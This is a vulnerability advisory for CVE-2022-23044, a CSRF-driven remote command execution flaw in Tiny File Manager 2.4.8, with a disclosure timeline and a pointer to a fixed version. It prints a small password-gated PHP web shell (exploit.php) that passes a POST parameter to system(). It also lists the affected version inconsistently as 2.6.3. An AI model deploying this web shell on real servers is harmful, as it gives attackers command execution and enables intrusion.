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CVE-2022-23044: Tiny File Manager 2.4.8 - Remote Command Execution | Advisories | Fluid Attacks

Tiny File Manager version 2.4.8 allows an unauthenticated remote attacker to execute arbitrary code remotely on the server. This is possible because the application is vulnerable to CSRF, processes uploaded files server-side (instead of just returning them for download), and allows unauthenticated users to access uploaded files.

CVE
#csrf#vulnerability#linux#git#php#rce#auth

Summary

Name

Tiny File Manager 2.4.8 - RCE

Code name

Mosey

Product

Tiny File Manager

Affected versions

Version 2.6.3

State

Public

Release date

2022-11-21

Vulnerability

Kind

Remote command execution

Rule

004. Remote command execution

Remote

Yes

CVSSv3 Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSSv3 Base Score

10.0

Exploit available

Yes

CVE ID(s)

CVE-2022-23044, CVE-2022-45475, CVE-2022-45476

Description

Version 2.4.8 of Tiny File Manager allows an unauthenticated remote attacker to execute arbitrary code remotely on the server. This is possible because the application is vulnerable to CSRF, processes uploaded files server-side (instead of just returning them for download), and allows unauthenticated users to access uploaded files.

Vulnerability

This vulnerability occurs because the application is vulnerable to CSRF, processes uploaded files server-side (instead of just returning them for download), and allows unauthenticated users to access uploaded files.

Exploitation

To exploit this vulnerability, the following file must be sent to the server as administrator (to achieve this I will abuse the CSRF present in the application).

exploit.php

<?php
    if($_POST && $_POST['password']==="AGSH635479302H235") {
        echo system($_POST['cmd']);
    }
?>

Evidence of exploitation

Our security policy

We have reserved the CVE-2022-23044, the CVE-2022-45475, the CVE-2022-45476 to refer to this issue from now on.

  • https://fluidattacks.com/advisories/policy/

System Information

  • Version: Tiny File Manager 2.4.8

  • Operating System: GNU/Linux

Mitigation

An updated version of Tiny File Manager is available at the vendor page.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks’ Offensive Team.

References

Vendor page https://github.com/prasathmani/tinyfilemanager

Release page https://github.com/prasathmani/tinyfilemanager/releases/tag/2.5.0

Timeline

2022-11-17

Vulnerability discovered.

2022-11-17

Vendor contacted.

2022-11-17

Vendor replied acknowledging the report.

2022-11-17

Vendor Confirmed the vulnerability.

2022-11-21

Public Disclosure.

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